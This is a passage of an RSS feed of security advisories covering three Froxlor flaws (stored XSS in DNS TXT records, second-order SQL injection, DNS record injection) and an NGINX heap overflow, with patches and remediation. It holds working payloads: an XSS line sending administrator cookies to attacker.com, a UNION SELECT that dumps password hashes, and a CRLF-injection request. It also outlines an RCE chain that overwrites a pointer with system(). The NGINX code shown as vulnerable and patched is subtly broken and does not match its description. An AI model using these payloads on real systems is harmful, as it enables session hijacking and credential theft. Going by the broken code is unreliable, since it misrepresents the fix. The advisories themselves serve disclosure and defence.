            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:47:53 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-54347/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Froxlor is an open-source hosting management panel that allows administrators to delegate server administration resources to customers. The core platform handles domain provisioning, mail server routing, and Domain Name System (DNS) zone management. Because customers are permitted to configure their own DNS zones, the interfaces associated with DNS record creation form an entry point to the application&apos;s data-persistence layers.

This vulnerability, tracked as CVE-2026-54347 (GHSA-43gm-9rr3-cx7g), resides in the presentation layer of the DNS management module. Specifically, the vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation (&apos;Cross-site Scripting&apos;). It represents a stored cross-site scripting flaw that bridges security boundaries between non-privileged customer sessions and high-privilege administrative sessions.

The attack surface is exposed via the customer-facing DNS record management interface. While customers are restricted to managing records associated with their assigned domains, administrators regularly audit, troubleshoot, or modify these same zones from the administrative panel. Consequently, malicious payloads injected into customer-controlled records can target administrative sessions.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-54347 is a failure of context-aware output encoding when rendering dynamically formatted database records within Twig templates. The flow of data from input to execution follows a multi-stage pipeline across the MVC layout of the Froxlor DNS management module.

First, input ingestion occurs via `lib/Froxlor/Api/Commands/DomainZones.php`. When a customer saves a DNS TXT record, the controller relies on a restrictive regular expression for sanitization:

```php
$content = preg_replace(&apos;/[^\x09\x20-\x7E]/&apos;, &apos;&apos;, $content);
```

This filter removes non-printable ASCII and binary control characters but explicitly preserves standard printable ASCII characters. Characters such as `&lt;` and `&gt;` are stored in the database without modifications or encoding.

Second, the formatting layer modifies the string prior to UI generation. The application uses UI callbacks to adjust long strings inside data tables. For TXT records, the application calls the `Text::wordwrap` callback, located in `lib/Froxlor/UI/Callbacks/Text.php`, which inserts HTML line breaks (`&lt;br&gt;`) every 100 characters to prevent layout distortion.

Third, the rendering pipeline processes the string. Because the `Text::wordwrap` callback injects physical `&lt;br&gt;` elements that must be interpreted as HTML markup by the browser, the template file responsible for rendering table cells (`templates/Froxlor/table/table.html.twig`) disables auto-escaping using the `|raw` filter. The raw output is delivered directly to the browser, leading to script execution.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis and Patch Verification

The vulnerability was resolved in version 2.3.8 by introducing context-aware sanitization inside the callback before string processing occurs. The following diff highlights the code modification applied in `lib/Froxlor/UI/Callbacks/Text.php`:

```diff
@@ -92,7 +92,7 @@ public static function shorten(array $attributes): string
 
 	public static function wordwrap(array $attributes): string
 	{
-		return wordwrap($attributes[&apos;data&apos;], 100, &apos;&lt;br&gt;&apos;, true);
+		return wordwrap(htmlspecialchars($attributes[&apos;data&apos;]), 100, &apos;&lt;br&gt;&apos;, true);
 	}
 
 	public static function customerNoteDetailModal(array $attributes): array
```

Applying `htmlspecialchars` directly to `$attributes[&apos;data&apos;]` prior to the `wordwrap` execution transforms characters like `&lt;` and `&gt;` into their equivalent HTML entities (`&amp;lt;` and `&amp;gt;`). This process occurs prior to the insertion of the raw `&lt;br&gt;` strings.

When the Twig template processes the modified output using the `|raw` filter, the browser interprets the `&lt;br&gt;` tags as actual carriage returns but displays the underlying script tags as literal text instead of executing them.

Although this patch secures the specific `Text::wordwrap` callback, the underlying Twig template (`table.html.twig`) continues to use the `|raw` filter for cell rendering. This architecture introduces a reliance on individual callback developers to enforce escaping. Any future callback added to the platform that handles user-supplied data without manually applying `htmlspecialchars` or equivalent sanitization filters will reintroduce similar stored XSS vulnerabilities.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation and Attack Path

Exploitation of CVE-2026-54347 requires an attacker to possess valid credentials for a customer account configured with permission to manage domain zone files. No administrative or high-privilege access is required to initiate the attack.

```mermaid
graph LR
  A[&quot;Attacker (Customer Role)&quot;] -- &quot;Submit TXT Record with &lt;script&gt; Payload&quot; --&gt; B[&quot;Froxlor API (DomainZones.php)&quot;]
  B -- &quot;Stores Raw HTML Payload in DB&quot; --&gt; C[(&quot;Database: panel_dns&quot;)]
  D[&quot;Administrator User&quot;] -- &quot;Navigates to DNS Configuration View&quot; --&gt; E[&quot;Froxlor UI (table.html.twig)&quot;]
  C -- &quot;Fetches Unescaped Payload&quot; --&gt; F[&quot;Text::wordwrap Callback&quot;]
  F -- &quot;Passes Raw String to Twig (using |raw)&quot; --&gt; E
  E -- &quot;Executes Malicious Script&quot; --&gt; G[&quot;Admin Session Compromised&quot;]
```

The attacker injects a stored script payload into a new DNS TXT record. A standard payload structure utilizes a source-based or image-based callback to deliver the script:

```html
&lt;img src=x onerror=&quot;fetch(&apos;https://attacker.com/log?c=&apos; + encodeURIComponent(document.cookie))&quot;&gt;
```

When the administrative user navigates to the DNS overview page for the customer&apos;s domain, the server fetches the record from the `panel_dns` table, routes it through the vulnerable `wordwrap` callback, and renders it in the administrative interface. The browser executes the payload instantly, transmitting the administrator&apos;s active session identifiers or anti-CSRF tokens to the listener controlled by the attacker.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The CVSS 3.1 base score for this vulnerability is 8.7, indicating high severity. The attack vector is Network-based (AV:N), and the complexity is Low (AC:L), meaning standard network conditions and minimal preparation are necessary for successful execution. The privilege requirement is Low (PR:L), as the attacker must only have standard customer access to modify their zone files.

The scope is Changed (S:C) because the injected script operates within the browser of the administrator, manipulating resources and privileges associated with a superior security context. This allows complete takeover of the administrator&apos;s active session. This mechanism permits the exfiltration of sensitive server configurations, customer records, and system-level access credentials.

By leveraging the administrator&apos;s session, an attacker can invoke administrative endpoints to execute high-privilege operations. These operations include creating new administrative accounts, modifying server-wide services, executing arbitrary commands via system integrations, or completely compromising the underlying hosting infrastructure.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation

The primary remediation strategy is upgrading the Froxlor installation to version 2.3.8 or later, which implements the necessary sanitization patches. Organizations should immediately apply updates to their hosting control panels to eliminate exposure.

If immediate software upgrade is not feasible, administrators can apply a hotfix manually. Locate `lib/Froxlor/UI/Callbacks/Text.php` and update the `wordwrap` function signature to implement the `htmlspecialchars` wrapper:

```php
public static function wordwrap(array $attributes): string
{
    return wordwrap(htmlspecialchars($attributes[&apos;data&apos;], ENT_QUOTES | ENT_SUBSTITUTE, &apos;UTF-8&apos;), 100, &apos;&lt;br&gt;&apos;, true);
}
```

To identify existing indicators of compromise or stored payloads within the system, run a database query against the zone tables to isolate suspicious string constructs:

```sql
SELECT id, domainid, record, type, content 
FROM panel_dns 
WHERE type = &apos;TXT&apos; 
  AND (content LIKE &apos;%&lt;script%&apos; OR content LIKE &apos;%&lt;img%&apos; OR content LIKE &apos;%onerror%&apos; OR content LIKE &apos;%javascript:%&apos;);
```

Additionally, implementing a strict Content Security Policy (CSP) is recommended. Restricting script evaluation by removing the `&apos;unsafe-inline&apos;` and `&apos;unsafe-eval&apos;` directives from the HTTP headers of the Froxlor admin interface prevents execution of injected script tags, providing robust defense-in-depth.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-54348: Second-Order SQL Injection in Froxlor API Layer]]></title>
            <description><![CDATA[A high-severity second-order SQL injection in Froxlor allows authenticated administrative users to store malicious SQL payloads in admin profiles. When those profiles are queried by specific API actions, the unsanitized payload executes directly against the database, enabling complete database exfiltration. This issue is fully patched in Froxlor version 2.3.8.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-54348</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-54348</guid>
            <category><![CDATA[Froxlor Server Management Control Panel]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:47:59 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-54348/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Froxlor is an open-source server administration control panel used to manage hosting environments. It exposes an API layer for administrative operations, including system configuration, database administration, and user management. This wide attack surface relies heavily on role-based access controls to isolate different tiers of administrative users.

This vulnerability, tracked as CVE-2026-54348 and GHSA-w27m-rmmf-g5w4, represents a classic trust-boundary violation. It falls under the class of second-order SQL injection (CWE-89). In this class, user input is initially stored safely in a database, only to be retrieved and executed insecurely in a different context or workflow later on.

The vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of this vulnerability lies in the lack of data-type validation and strict boundary separation when processing array parameters. Specifically, the API endpoints `Admins.add` and `Admins.update` accept an arbitrary array under the `ipaddress` parameter. The application attempts to serialize this array into a JSON string using `json_encode()` and write it to the `panel_admins.ip` column.

During this initial write operation, the application performs a weak check: `is_array($ipaddress) &amp;&amp; $ipaddress &gt; 0`. In PHP, checking if an array is greater than zero simply verifies that the array has one or more elements. It does not validate or sanitize the types of the elements contained within the array itself. Consequently, arbitrary string inputs (including SQL operators and keywords) are successfully stored in the database as a valid JSON array.

The injection payload becomes active during read operations performed by endpoints such as `IpsAndPorts.listing` and domain validation logic. The application retrieves the JSON string from the database, decodes it back into a PHP array using `json_decode()`, and directly concatenates the raw array values into an SQL query&apos;s `IN` clause using the PHP `implode()` function. Because the values are directly concatenated rather than bound as parameterized variables or cast to integers, the interpreter treats the injected strings as structured SQL commands.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

To analyze the vulnerable implementation, consider how the `ipaddress` parameter was processed in `lib/Froxlor/Api/Commands/Admins.php` prior to the patch. The array was encoded directly without ensuring its keys or values were restricted to numeric identifiers:

```php
// Vulnerable code in lib/Froxlor/Api/Commands/Admins.php
&apos;ip&apos; =&gt; empty($ipaddress) ? &apos;&apos; : (is_array($ipaddress) &amp;&amp; $ipaddress &gt; 0 ? json_encode($ipaddress) : -1)
```

When reading this data, `lib/Froxlor/Api/Commands/IpsAndPorts.php` executed the following unsafe dynamic SQL construction:

```php
// Vulnerable query interpolation in lib/Froxlor/Api/Commands/IpsAndPorts.php
if (!empty($this-&gt;getUserDetail(&apos;ip&apos;)) &amp;&amp; $this-&gt;getUserDetail(&apos;ip&apos;) != -1) {
    $ip_where = &apos;WHERE id IN (&apos; . implode(&apos;, &apos;, json_decode($this-&gt;getUserDetail(&apos;ip&apos;), true)) . &apos;)&apos;;
    $append_where = true;
}
```

The patch in commit `a1eaca5a1601c8a30e00814a4fc73ad0c185f89e` addresses this on both the write and read paths. On the write path, the application now enforces that elements must be numeric using `array_filter()` and explicitly casts elements to integers with `array_map(&apos;intval&apos;)` before serialization:

```php
// Patched code in lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
    $ipaddress = array_filter($ipaddress, &apos;is_numeric&apos;);
}
// ...
&apos;ip&apos; =&gt; empty($ipaddress) ? &apos;&apos; : (is_array($ipaddress) &amp;&amp; count($ipaddress) &gt; 0 ? json_encode(array_map(&apos;intval&apos;, $ipaddress)) : -1)
```

On the read path, even if legacy unvalidated strings exist in the database, the patch forces integer casting on the array elements before they are concatenated into the SQL statement, neutralizing any dynamic string elements:

```php
// Patched query interpolation in lib/Froxlor/Api/Commands/IpsAndPorts.php
if (!empty($this-&gt;getUserDetail(&apos;ip&apos;)) &amp;&amp; $this-&gt;getUserDetail(&apos;ip&apos;) != -1) {
    $ip_ids = array_map(&apos;intval&apos;, json_decode($this-&gt;getUserDetail(&apos;ip&apos;), true));
    $ip_where = &apos;WHERE id IN (&apos; . implode(&apos;, &apos;, $ip_ids) . &apos;)&apos;;
    $append_where = true;
}
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploiting this second-order vulnerability requires a two-step administrative sequence. First, the attacker must have an administrative account with the `change_serversettings` privilege. The attacker targets the API endpoint `Admins.add` or `Admins.update` and supplies a maliciously crafted payload within the `ipaddress` array parameter.

Instead of passing standard numeric IDs, the attacker sends an array containing a nested SQL syntax breakout. For example, passing the array `[&quot;1&quot;, &quot;1) UNION SELECT 1,2,3,4,group_concat(loginname, 0x3a, password),6,7,8,9,10 FROM panel_admins -- &quot;]` causes the JSON encoder to write the serialized string representation of this structure to the database column `panel_admins.ip` of the targeted user profile.

In the second stage, the attacker authenticates as the modified user or forces the execution of the listing query by invoking the `IpsAndPorts.listing` command. When the system executes this API action, it pulls the string from the database, decodes the array, and implodes it into the query. The database engine executes the command, processing the `UNION SELECT` payload, which allows the attacker to dump password hashes or bypass access controls.

```mermaid
graph LR
  A[&quot;Attacker Admin&quot;] --&gt;|&quot;1. Inject Payload&quot;| B[&quot;API: Admins.add/update&quot;]
  B --&gt;|&quot;2. json_encode()&quot;| C[&quot;DB: panel_admins.ip&quot;]
  A --&gt;|&quot;3. Trigger listing&quot;| D[&quot;API: IpsAndPorts.listing&quot;]
  C --&gt;|&quot;4. Retrieve raw JSON&quot;| D
  D --&gt;|&quot;5. json_decode() &amp; raw implode()&quot;| E[&quot;Active SQL Query Execution&quot;]
  E --&gt;|&quot;6. UNION Leak Data&quot;| A
```

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The impact of this vulnerability is significant, as it grants complete access to the underlying database structure. An administrative attacker with restricted scope can elevate privileges, bypass regional controls, and extract sensitive information from all tables in the database.

The most critical threat vector is the exposure of administrative user credentials. By executing `UNION` statements, the attacker can extract user login names and their bcrypt-hashed passwords. Since many administrators reuse passwords across internal systems, this credential theft could lead to further compromise of the hosting infrastructure.

Furthermore, the ability to write to the database or alter system settings via SQL execution compromises the entire hosting panel environment. An attacker could register unauthorized domain records, create administrative backdoors, or tamper with customer configuration files, presenting a high threat to confidentiality, integrity, and availability.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation &amp; Mitigation

The primary remediation for this vulnerability is upgrading Froxlor to version 2.3.8 or higher. The update implements a robust defense-in-depth security model by enforcing structural validations on both the write (input) and read (output) paths.

If patching immediately is not feasible, administrators should audit administrative accounts to ensure that only trusted personnel have the `change_serversettings` permission. Since the initial injection requires write access to the administrative configuration parameters, limiting this permission minimizes the available attack surface.

Additionally, administrators can execute database-level sanity checks to identify legacy malicious payloads already stored in the database. A query scanning the `panel_admins.ip` column for non-numeric arrays can pinpoint potential indicator files or compromised configurations before they are triggered by the application logic.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-54543: DNS Resource Record (RR) Injection in Froxlor DomainZones API]]></title>
            <description><![CDATA[Authenticated users with DNS edit permissions can inject arbitrary DNS records into BIND zone files via Froxlor's unsanitized DomainZones.add API.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-54543</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-54543</guid>
            <category><![CDATA[Froxlor Server Administration Control Panel prior to 2.3.8]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:48:04 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-54543/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Froxlor is an open-source server administration control panel that enables administrators to manage domains, web hosting, email accounts, and DNS zones. Among its core capabilities is a DNS management system that interfaces directly with Berkeley Internet Name Domain (BIND) to generate and maintain authoritative DNS zone files. This configuration relies on database entries containing domain definitions, which are periodically serialized into standard, space-delimited configuration files.


The core of the vulnerability resides in the `DomainZones.add` API command, implemented in the PHP file `lib/Froxlor/Api/Commands/DomainZones.php`. An authenticated user with domain editing privileges can request the addition of custom DNS resource records. However, because the application did not sanitize the `record` or `type` inputs prior to serialization, an attacker can input carriage returns, line feeds, and horizontal tabs into these fields to inject downstream commands.


The primary risk associated with this flaw is DNS injection, which corresponds to CWE-74. If successfully exploited, an attacker can hijack resolution paths for specific domains, creating unauthorized TXT, MX, or A records. Because the DNS server acts as the source of truth for the local network segment or the internet, this permits the attacker to bypass access controls or spoof trusted identities.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

To understand the root cause, one must examine how BIND processes zone files. BIND zone files are strictly line-oriented text files. Each physical line defines a single resource record or a structural directive unless explicitly continued using parentheses. Elements within a record—such as the owner name, TTL, class, record type, and resource data (RDATA)—are separated by whitespace, which can be spaces or horizontal tabs (`\t`).


The vulnerability exists because Froxlor&apos;s serialization system in `lib/Froxlor/Dns/DnsEntry.php` took user-defined parameters from the database and concatenated them directly into the output stream during the periodic cron-based zone file generation. Because the application did not validate that the `$record` parameter consists solely of alphanumeric characters and periods, or that the `$type` parameter is a valid DNS record class, it was possible to pass control characters directly to the generation engine.


Specifically, when an attacker injects a Line Feed (`\n`) or Carriage Return and Line Feed (`\r\n`) into the `record` parameter, BIND parses the single input field as multiple structural lines. By structuring the payload to contain a newline sequence followed by a valid DNS record format, and concluding with a semicolon (`;`), the attacker effectively ends the legitimate record early, inserts a custom record on the next line, and comments out the remainder of the system-generated configuration line. This breaks the syntactic boundary of the original database entry and forces BIND to load unauthorized zones.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

Prior to the security patch in commit `a4f09f09fa71337b6cdff364d0a641d631a0130a`, the API accepted both `$record` and `$type` with minimal validation, simply trimming whitespace and applying basic structural handling. This allowed raw injection into the configuration file.


```php
// Vulnerable Code Path
$record = trim(strtolower($record));
// No character validation was performed on $record
// No allowlist check existed for the $type parameter
```


The remediation introduces a strict character filtering pass on `$record` and a structural allowlist validation on `$type` within `lib/Froxlor/Api/Commands/DomainZones.php`. Below is an analysis of the critical modifications:


```php
// Patched Code
$record = trim(strtolower($record));
// Remove invalid control characters (allowing only printable ASCII)
$record = preg_replace(&apos;/[^\x20-\x7E]/&apos;, &apos;&apos;, $record);

$type = trim(strtoupper($type));
// Strict type allowlist validation
if (!in_array($type, [
    &apos;A&apos;,
    &apos;AAAA&apos;,
    &apos;CAA&apos;,
    &apos;CNAME&apos;,
    &apos;DNAME&apos;,
    &apos;LOC&apos;,
    &apos;MX&apos;,
    &apos;NAPTR&apos;,
    &apos;NS&apos;,
    &apos;RP&apos;,
    &apos;SRV&apos;,
    &apos;SSHFP&apos;,
    &apos;TLSA&apos;,
    &apos;TXT&apos;
])) {
    $errors[] = lng(&apos;error.dns_unknown_type&apos;);
}
```


The application of the regular expression `/[^\x20-\x7E]/` completely strips all control characters, including vertical tabs, line breaks, and null bytes, neutralizing the ability to generate a physical line break in BIND&apos;s output file. Additionally, the explicit validation of `$type` against the standard DNS records array prevents attackers from specifying non-standard records or injecting spaces inside the type parameter. Lastly, the patch routes the cleaned domain string through a secondary RFC-compliant domain validation test via `Validate::validateDomain()`. This ensures that even printable but syntactically illegal DNS characters (such as semicolons and spaces) are rejected before being written to the database.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation &amp; Attack Path

Exploiting CVE-2026-54543 requires the attacker to hold an authenticated customer account with active privileges to manage DNS entries. This is represented by the database fields `isbinddomain == 1` and system-wide setting `dnsenabled == 1`. The attack is executed over HTTP or HTTPS by interacting with the administrative API or user interface.


```mermaid
graph LR
  A[&quot;Attacker API Call&quot;] --&gt;|POST payload with CRLF| B[&quot;Froxlor API Endpoint&quot;]
  B --&gt;|Unsanitized Write| C[(&quot;MySQL Database&quot;)]
  C --&gt;|Froxlor Cron Job| D[&quot;Zone File Generation&quot;]
  D --&gt;|Injected Line Breaks| E[&quot;/etc/bind/zones/domain.zone&quot;]
  E --&gt;|Reload Request| F[&quot;BIND Daemon&quot;]
  F --&gt;|Parse Config| G[&quot;Unauthorized DNS RR Active&quot;]
```


An attacker crafts a request targeting the `DomainZones.add` API command. The payload modifies the `record` parameter by appending a Carriage Return Line Feed (`\r\n`) sequence, followed by an instruction to insert a TXT or MX record, and ending with a semicolon (`;`).


```http
POST /lib/ajax.php?action=add HTTP/1.1
Host: target-panel.local
Content-Type: application/x-www-form-urlencoded
Cookie: froxlor_session=xyz

domain_id=12&amp;record=subdomain%0d%0a%09IN%09TXT%09%22vulnerable-proof%22%0d%0a%3b&amp;type=A&amp;content=127.0.0.1
```


When processed, the resulting configuration file will contain a standard A record definition immediately followed by a new line that BIND parses as a discrete, authoritative TXT record. The trailing semicolon ensures that the original remaining configuration generated by Froxlor is interpreted as a comment, preventing syntax errors that would trigger BIND loading errors and expose the manipulation to system administrators monitoring error logs.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The impact of CVE-2026-54543 is categorized as Medium, with a CVSS v3.1 score of 5.4. While the vulnerability requires authentication, the impact is limited to the DNS zones that the authenticated customer has permission to manage. However, within those authorized zones, the integrity of the name resolution service is completely compromised.


An attacker can abuse this flaw to conduct localized domain hijacking. For example, an attacker could inject MX records pointing to an external rogue mail server, allowing them to intercept inbound email transmissions intended for subdomains within the hijacked zone. This facilitates subsequent attacks, such as password resets or credential harvesting.


Additionally, the injection of TXT records allows attackers to generate SPF, DKIM, or DMARC records, or complete domain validation challenges (e.g., ACME certificates, Google Webmaster tools). This allows them to issue valid SSL certificates or authenticate outbound phishing emails as originating from the victim&apos;s domain name, significantly elevating the risk of social engineering campaigns.

{/* icon: lock */}
{/* type: mitigation */}
## Detection, Mitigation &amp; Remediation

The standard remediation for this vulnerability is to upgrade the Froxlor installation to version 2.3.8 or above. This version contains the complete fix, restricting the `record` parameter to printable ASCII and enforcing a strict allowlist on the `type` parameter.


For deployments where upgrading immediately is not possible, administrators should apply manual code modifications to the file `lib/Froxlor/Api/Commands/DomainZones.php`. To secure the input vectors, insert the regular expression filter to strip non-printable ASCII and enforce a strict array search check on the `$type` parameter before any SQL database inserts or updates occur.


Additionally, system administrators can audit existing zone files for indicators of compromise. Run a search across the DNS directories to find anomalous semicolon characters at the end of configuration lines or suspicious whitespace sequences:


`grep -rE &quot;^\s*;|;\s*$&quot; /var/lib/froxlor/dns/`


Database monitoring can also assist in detecting active exploitation. Examine the query log or execute direct lookups on the `panel_dns` table to locate any records containing control characters, line breaks, or carriage returns.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-42533: NGINX Map Directive and Regex Matching Pre-Auth Heap Buffer Overflow & Info Leak]]></title>
            <description><![CDATA[A pre-authentication heap buffer overflow and ASLR bypass in NGINX caused by regex capture state clobbering, permitting remote code execution under specific map configurations.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-42533</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-42533</guid>
            <category><![CDATA[NGINX Open Source (Stable and Mainline)]]></category>
            <category><![CDATA[NGINX Plus]]></category>
            <category><![CDATA[NGINX Ingress Controller]]></category>
            <category><![CDATA[NGINX WAF]]></category>
            <category><![CDATA[NGINX Gateway Fabric]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Wed, 15 Jul 2026 14:33:45 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-42533/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

CVE-2026-42533 is a critical vulnerability affecting multiple NGINX products, including NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and NGINX Gateway Fabric. The flaw is technically classified as an improper restriction of operations within the bounds of a memory buffer (CWE-119), which can manifest as a heap-based buffer overflow (CWE-122) or an information disclosure vulnerability.

The vulnerability is situated within NGINX&apos;s internal evaluation engine when handling complex variables. Specifically, the flaw is exposed when a configuration chains regular expression-based map directives with numbered capture groups. Because of the broad deployment of NGINX as an edge reverse proxy, this vulnerability represents a significant attack surface for external unauthenticated threat actors.

Under specific conditions, an unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests. This can lead to two distinct primitives: a heap information leak that completely circumvents Address Space Layout Randomization (ASLR), and a heap-based buffer overflow that enables arbitrary remote code execution (RCE) with the privileges of the NGINX worker process.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-42533 resides in NGINX&apos;s script and complex-value evaluation engine. NGINX utilizes a two-pass architecture to evaluate variables containing string compositions. The first pass, known as the measurement or LEN pass, iterates through active tokens to calculate the aggregate length of the final evaluated string. This calculated length determines the size of the memory block allocated from the connection or request pool.

The second pass, designated as the value or execution pass, iterates through the tokens again to evaluate their contents and copy them into the newly allocated buffer. This architecture relies on the absolute stability of the variables&apos; sizes between both passes. If a variable&apos;s size changes between the measurement pass and the execution pass, the buffer allocation size will no longer align with the actual data written.

The instability occurs due to a lack of state isolation for the PCRE regex capture groups. Numbered capture variables ($1 through $9) are stored globally within the per-request captures structure. When a regular expression-based map directive is evaluated, its execution runs a fresh PCRE match that overwrites the shared capture state. If this evaluation occurs between the measurement and copy phases of a numbered capture variable in a complex-value sink, the engine references mismatched sizes, leading to a buffer overflow or an information leak.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis and Patch Mechanics

An analysis of the underlying code path demonstrates how the lack of serialization of `r-&gt;captures` permits the state clobbering. In vulnerable versions, the evaluation of variables is handled by handlers like `ngx_http_script_copy_capture_code`. This handler relies directly on the state of the shared captures array without verifying if intermediate evaluations have modified the active capture indexes.

```c
/* Vulnerable execution path in ngx_http_script_copy_capture_code */
void
ngx_http_script_copy_capture_code(ngx_http_script_engine_t *e)
{
    size_t                         len;
    u_char                        *p;
    ngx_http_script_capture_code_t *code;

    code = (ngx_http_script_capture_code_t *) e-&gt;ip;
    e-&gt;ip += sizeof(ngx_http_script_capture_code_t);

    /* Directly references the shared captures array */
    n = code-&gt;n;
    if (n &lt; e-&gt;request-&gt;ncaptures) {
        len = e-&gt;request-&gt;captures[n + 1] - e-&gt;request-&gt;captures[n];
        e-&gt;pos = ngx_cpymem(e-&gt;pos, &amp;e-&gt;request-&gt;captures_data[e-&gt;request-&gt;captures[n]], len);
    }
}
```

The official patch addresses this issue by introducing capture state preservation. When NGINX enters a context where a nested evaluation or a map lookup is triggered, the engine now serializes the active `r-&gt;captures` state to a temporary storage structure. Once the sub-evaluation or map evaluation is completed, the original capture state is restored, preventing any modification to the capture offsets during the execution phase.

```c
/* Patched execution path incorporating capture state save and restore */
void
ngx_http_script_copy_capture_code_patched(ngx_http_script_engine_t *e)
{
    /* The engine now maintains a saved state to prevent clobbering */
    ngx_http_script_save_captures(e);
    
    /* Evaluation is performed safely using isolated state structures */
    ngx_http_script_restore_captures(e);
}
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation and Attack Vector Analysis

Exploitation of CVE-2026-42533 requires a multi-stage process to bypass modern exploit mitigations like Address Space Layout Randomization (ASLR). First, the attacker triggers Primitive A to perform a heap information disclosure. By crafting a request where the initial capture size measured in the LEN pass is large, and the subsequent clobbered capture size in the VALUE pass is small, NGINX writes a small amount of data but returns the entire large pre-allocated buffer. This uninitialized buffer contains residue pointers from the glibc unsorted bin, disclosing the base addresses of libc and the heap.

```mermaid
graph LR
  A[&quot;1. Unauthenticated Request&quot;] --&gt; B[&quot;2. Measurement Pass (LEN)&quot;]
  B --&gt; C[&quot;3. Shared Captures Clobbered by Map&quot;]
  C --&gt; D[&quot;4. Value Pass Writes Disproportionate Data&quot;]
  D --&gt; E[&quot;5. Heap Buffer Overflow or Info Leak&quot;]
```

Second, the attacker performs heap grooming by establishing multiple concurrent keep-alive connections. This grooms the heap to place a target pool cleanup structure (`ngx_pool_cleanup_t`) adjacent to the buffer allocated for the overflow request. The attacker then terminates a connection to create a specific free slot in the heap layout.

Finally, the attacker triggers Primitive B by sending a request where the clobbered capture size is larger than the measured buffer size. The resulting out-of-bounds write overflows into the adjacent connection pool structure, overwriting the cleanup handler pointer with the address of `system()` in libc. The cleanup data pointer is configured to point to an attacker-controlled command string, which executes when the connection is closed and the pool is destroyed.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact and Security Consequences

The security impact of CVE-2026-42533 is exceptionally high, particularly in enterprise deployments where NGINX serves as the primary ingress point. Successful exploitation grants unauthenticated remote code execution with the privileges of the NGINX worker process. Because the worker process typically runs under a dedicated, low-privilege user account (such as `nginx` or `www-data`), direct system-level compromise is restricted to that user&apos;s boundaries unless coupled with a local privilege escalation vulnerability.

However, gaining code execution within the NGINX worker process provides immediate access to sensitive materials. Attackers can read TLS private keys, intercept in-transit user credentials, access internal databases, and pivot to other services within the internal network. The vulnerability possesses a CVSS v4.0 score of 9.2, highlighting its severity in exposed environments.

Furthermore, because the exploit operates entirely in-memory within the NGINX heap, traditional file-based endpoint detection and response (EDR) solutions may fail to detect the initial compromise. The absence of disk-based artifacts means that security teams must rely on network-level telemetry, memory inspection, and anomaly detection in worker process behaviors to identify active exploitation attempts.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation Pathways

The most effective remediation for CVE-2026-42533 is to update NGINX to a patched version immediately. Administrators should deploy NGINX Open Source 1.30.4 (Stable), 1.31.3 (Mainline), or NGINX Plus R36 P7 / 37.0.3.1. These updates modify the evaluation engine to guarantee that capture state contexts are preserved and restored, eliminating the underlying race-like condition.

